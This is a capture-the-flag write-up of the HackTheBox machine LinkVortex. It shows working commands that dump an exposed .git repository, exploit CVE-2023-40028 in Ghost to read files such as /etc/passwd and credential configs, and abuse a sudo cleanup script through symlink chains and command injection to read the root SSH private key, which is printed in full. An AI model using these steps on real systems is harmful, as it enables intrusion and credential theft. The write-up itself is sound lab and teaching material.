Post

HackTheBox LinkVortex

Writeup for HackTheBox LinkVortex

HackTheBox LinkVortex

Machine Synopsis

LinkVortex is an easy-difficulty Linux machine with various ways to leverage symbolic link files (symlinks). The initial foothold involves discovering an exposed .git directory that can be dumped to retrieve credentials. These credentials allow access to the Ghost content management system vulnerable to CVE-2023-40028. This vulnerability allows authenticated users to upload symlinks, enabling arbitrary file read within the Ghost container. The exposed credentials in the Ghost configuration file can then be leveraged to gain a shell as the user on the host system. Finally, the user can execute a script with sudo permissions that are vulnerable to a symlink race condition attack (TOCTOU). This presents an opportunity to escalate privileges by creating links to sensitive files on the system and ultimately gaining root access. (Source)

Enumeration

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❯ nmap -sC -sV -A 10.10.11.47

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:f8:b9:68:c8:eb:57:0f:cb:0b:47:b9:86:50:83:eb (ECDSA)
|_  256 a2:ea:6e:e1:b6:d7:e7:c5:86:69:ce:ba:05:9e:38:13 (ED25519)
80/tcp open  http    Apache httpd
|_http-title: Did not follow redirect to http://linkvortex.htb/
|_http-server-header: Apache

Lets add the domain to our /etc/hosts file.

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echo -e '10.10.11.47\t\tlinkvortex.htb' | sudo tee -a /etc/hosts

webpage

Looking around the website showed nothing interesting except for the user admin posting articles.

Lets try to enumerate some possible subdomains to the website.

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❯ ffuf -c -u "http://linkvortex.htb" -H "HOST: FUZZ.linkvortex.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
dev                     [Status: 200, Size: 2538, Words: 670, Lines: 116, Duration: 7ms]
...

Lets add the dev.linkvortex.htb to our /etc/hosts file.

dev_webpage

It looks like the webpage is under construction. Lets brute force for any possible directories.

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❯ dirsearch -t 10 -u http://dev.linkvortex.htb 2>/dev/null

Target: http://dev.linkvortex.htb/
[11:10:29] 301 -  239B  - /.git  ->  http://dev.linkvortex.htb/.git/
[11:10:29] 200 -  557B  - /.git/
[11:10:29] 200 -   73B  - /.git/description
[11:10:29] 200 -  201B  - /.git/config
[11:10:29] 200 -  620B  - /.git/hooks/
[11:10:29] 200 -   41B  - /.git/HEAD
[11:10:29] 200 -  402B  - /.git/info/
[11:10:29] 200 -  240B  - /.git/info/exclude
[11:10:29] 200 -  401B  - /.git/logs/
[11:10:29] 200 -  175B  - /.git/logs/HEAD
[11:10:29] 200 -  147B  - /.git/packed-refs
[11:10:29] 200 -  393B  - /.git/refs/
[11:10:29] 200 -  418B  - /.git/objects/
[11:10:29] 200 -  691KB - /.git/index
[11:10:29] 301 -  249B  - /.git/refs/tags  ->  http://dev.linkvortex.htb/.git/refs/tags/
...

Task Completed

There are some .git folders available to us. Lets dump the .git repository.

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❯ virtualenv htb_linkvortex
❯ source htb_linkvortex/bin/activate # activate the virutal environment
❯ git-dumper
usage: git-dumper [options] URL DIR
git-dumper: error: the following arguments are required: URL, DIR
❯ git-dumper http://dev.linkvortex.htb/.git/ ./linkvortex-dump
[-] Testing http://dev.linkvortex.htb/.git/HEAD [200]
[-] Testing http://dev.linkvortex.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://dev.linkvortex.htb/.gitignore [404]
[-] http://dev.linkvortex.htb/.gitignore responded with status code 404
[-] Fetching http://dev.linkvortex.htb/.git/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/index [200]
[-] Fetching http://dev.linkvortex.htb/.git/packed-refs [200]
[-] Fetching http://dev.linkvortex.htb/.git/config [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/description [200]
[-] Fetching http://dev.linkvortex.htb/.git/shallow [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/logs/HEAD [200]
[-] Fetching http://dev.linkvortex.htb/.git/info/exclude [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/fsmonitor-watchman.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/applypatch-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-applypatch.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/post-update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-merge-commit.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-rebase.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-push.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/push-to-checkout.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/update.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/hooks/pre-receive.sample [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/ [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/e6/54b0ed7f9c9aedf3180ee1fd94e7e43b29f000 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/50/864e0261278525197724b394ed4292414d9fec [200]
[-] Fetching http://dev.linkvortex.htb/.git/refs/tags/v5.57.3 [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.pack [200]
[-] Fetching http://dev.linkvortex.htb/.git/objects/pack/pack-0b802d170fe45db10157bb8e02bfc9397d5e9d87.idx [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 5596 paths from the index

Exploitation

We found some interesting information after some enumeration.

Git Config:

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~/HackTheBox/LinkVortex/linkvortex-dump @299cdb43*cat .git/config
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://github.com/TryGhost/Ghost.git
	fetch = +refs/tags/v5.58.0:refs/tags/v5.58.0

Dockerfile:

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~/HackTheBox/LinkVortex/linkvortex-dump @299cdb43*cat Dockerfile.ghost
FROM ghost:5.58.0

# Copy the config
COPY config.production.json /var/lib/ghost/config.production.json

# Prevent installing packages
RUN rm -rf /var/lib/apt/lists/* /etc/apt/sources.list* /usr/bin/apt-get /usr/bin/apt /usr/bin/dpkg /usr/sbin/dpkg /usr/bin/dpkg-deb /usr/sbin/dpkg-deb

# Wait for the db to be ready first
COPY wait-for-it.sh /var/lib/ghost/wait-for-it.sh
COPY entry.sh /entry.sh
RUN chmod +x /var/lib/ghost/wait-for-it.sh
RUN chmod +x /entry.sh

ENTRYPOINT ["/entry.sh"]
CMD ["node", "current/index.js"]

Possible Password Found:

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~/HackTheBox/LinkVortex/linkvortex-dump @299cdb43*grep -ri 'password'
...
ghost/core/test/regression/api/admin/authentication.test.js:            const password = 'OctopiFociPilfer45';
...

We can also cross check the password found to the original official Ghost repository for authentication.test.js.

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❯ wget https://github.com/TryGhost/Ghost/blob/v5.58.0/ghost/core/test/regression/api/admin/authentication.test.js -O authentication_original.test.js
❯ diff -u ./ghost/core/test/regression/api/admin/authentication.test.js authentication_original.test.js 

Now that we have some possible credentials, we have to find a vulnerability that affects Ghost 5.58.0.

Searching for Ghost 5.58.0 vulnerabilities on Google resulted in this Snyk database. Particularly, we are interested in the Arbitrary File Read vulnerability that is classified as CVE-2023-40028 with a PoC at this GitHub repository.

We can edit the GHOST_URL variable in the PoC to http://linkvortex.htb.

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#GHOST_URL='http://127.0.0.1'
GHOST_URL='http://linkvortex.htb'

Finally, we can use the exploit script by following the instruction in the exploit source code.

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❯ ./exploit.sh -u admin -p OctopiFociPilfer45
[!] INVALID USERNAME OR PASSWORD
❯ ./exploit.sh -u admin@linkvortex.htb -p OctopiFociPilfer45
WELCOME TO THE CVE-2023-40028 SHELL
file>

From the Dockerfile, we know that there is an interesting file called /var/lib/ghost/config.production.json.

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file> /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
node:x:1000:1000::/home/node:/bin/bash

file> /var/lib/ghost/config.production.json
{
  "url": "http://localhost:2368",
  "server": {
    "port": 2368,
    "host": "::"
  },
  "mail": {
    "transport": "Direct"
  },
  "logging": {
    "transports": ["stdout"]
  },
  "process": "systemd",
  "paths": {
    "contentPath": "/var/lib/ghost/content"
  },
  "spam": {
    "user_login": {
        "minWait": 1,
        "maxWait": 604800000,
        "freeRetries": 5000
    }
  },
  "mail": {
     "transport": "SMTP",
     "options": {
      "service": "Google",
      "host": "linkvortex.htb",
      "port": 587,
      "auth": {
        "user": "bob@linkvortex.htb",
        "pass": "fibber-talented-worth"
        }
      }
    }
}

We found the credentials for bob. Lets try if ssh works.

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❯ ssh bob@linkvortex.htb
The authenticity of host 'linkvortex.htb (10.10.11.47)' can't be established.
ED25519 key fingerprint is SHA256:vrkQDvTUj3pAJVT+1luldO6EvxgySHoV6DPCcat0WkI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'linkvortex.htb' (ED25519) to the list of known hosts.
bob@linkvortex.htb's password: fibber-talented-worth
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Tue Dec  3 11:41:50 2024 from 10.10.14.62
bob@linkvortex:~$ cat user.txt 
33d559f112960e0c2b623909b7f30300

Privilege Escalation

Lets check what sudo privileges does bob user have.

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bob@linkvortex:~$ sudo -l
Matching Defaults entries for bob on linkvortex:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty, env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

bob can run /opt/ghost/clean_symlink.sh as sudo. Lets check the code for clean_symlink.sh.

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bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh
#!/bin/bash

QUAR_DIR="/var/quarantined"

if [ -z $CHECK_CONTENT ];then
  CHECK_CONTENT=false
fi

LINK=$1

if ! [[ "$LINK" =~ \.png$ ]]; then
  /usr/bin/echo "! First argument must be a png file !"
  exit 2
fi

if /usr/bin/sudo /usr/bin/test -L $LINK;then
  LINK_NAME=$(/usr/bin/basename $LINK)
  LINK_TARGET=$(/usr/bin/readlink $LINK)
  if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
    /usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
    /usr/bin/unlink $LINK
  else
    /usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
    /usr/bin/mv $LINK $QUAR_DIR/
    if $CHECK_CONTENT;then
      /usr/bin/echo "Content:"
      /usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
    fi
  fi
fi

This script seems to be trying to validate and quarantine symlinks pointing to .png files.

Based on the script, we can exploit this via Symlink Chains (symlinks pointing to another symlink).

What we can do is the following:

  • Bypass extension checks by creating a symlink that points to another (fake) symlink that ends with a .png.
  • Point the fake symlink to some arbitrary file.
  • Export the CHECK_CONTENT to our malicious read command (/bin/cat /root/root.txt)
  • Exploit.
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bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png
bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/root.txt'
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png 
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected
Link found [ /tmp/exploit.png ] , moving it to quarantine
779d0ff9be29244ba048b546b98c7fec
Content:

Another better way is to read the /root/.ssh/id_rsa file.

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bob@linkvortex:/tmp$ export CHECK_CONTENT='/bin/cat /root/.ssh/id_rsa'
bob@linkvortex:/tmp$ ln -s /tmp/fake.png /tmp/exploit.png
bob@linkvortex:/tmp$ ln -s /dev/null /tmp/fake.png
bob@linkvortex:/tmp$ sudo /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/exploit.png 
/opt/ghost/clean_symlink.sh: line 5: [: /bin/cat: binary operator expected
Link found [ /tmp/exploit.png ] , moving it to quarantine
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAmpHVhV11MW7eGt9WeJ23rVuqlWnMpF+FclWYwp4SACcAilZdOF8T
q2egYfeMmgI9IoM0DdyDKS4vG+lIoWoJEfZf+cVwaZIzTZwKm7ECbF2Oy+u2SD+X7lG9A6
V1xkmWhQWEvCiI22UjIoFkI0oOfDrm6ZQTyZF99AqBVcwGCjEA67eEKt/5oejN5YgL7Ipu
6sKpMThUctYpWnzAc4yBN/mavhY7v5+TEV0FzPYZJ2spoeB3OGBcVNzSL41ctOiqGVZ7yX
TQ6pQUZxR4zqueIZ7yHVsw5j0eeqlF8OvHT81wbS5ozJBgtjxySWrRkkKAcY11tkTln6NK
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0cBqVEY8/m6olYaf/U8dwE/w9beosH6T7arEUwnhAAAFiDyG/Tk8hv05AAAAB3NzaC1yc2
EAAAGBAJqR1YVddTFu3hrfVnidt61bqpVpzKRfhXJVmMKeEgAnAIpWXThfE6tnoGH3jJoC
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1G+1d3wPKKT0ztZTPauIZyWzWpOwKVAAAAwQDKF/xbVD+t+vVEUOQiAphz6g1dnArKqf5M
SPhA2PhxB3iAqyHedSHQxp6MAlO8hbLpRHbUFyu+9qlPVrj36DmLHr2H9yHa7PZ34yRfoy
+UylRlepPz7Rw+vhGeQKuQJfkFwR/yaS7Cgy2UyM025EEtEeU3z5irLA2xlocPFijw4gUc
xmo6eXMvU90HVbakUoRspYWISr51uVEvIDuNcZUJlseINXimZkrkD40QTMrYJc9slj9wkA
ICLgLxRR4sAx0AAAAPcm9vdEBsaW5rdm9ydGV4AQIDBA==
-----END OPENSSH PRIVATE KEY-----
Content:

Now we can ssh as root.

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chmod 600 id_rsa
❯ ssh -i id_rsa root@linkvortex.htb
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.5.0-27-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Mon Dec  2 11:20:43 2024 from 10.10.14.61
root@linkvortex:~# cat root.txt
779d0ff9be29244ba048b546b98c7fec
This post is licensed under CC BY 4.0 by the author.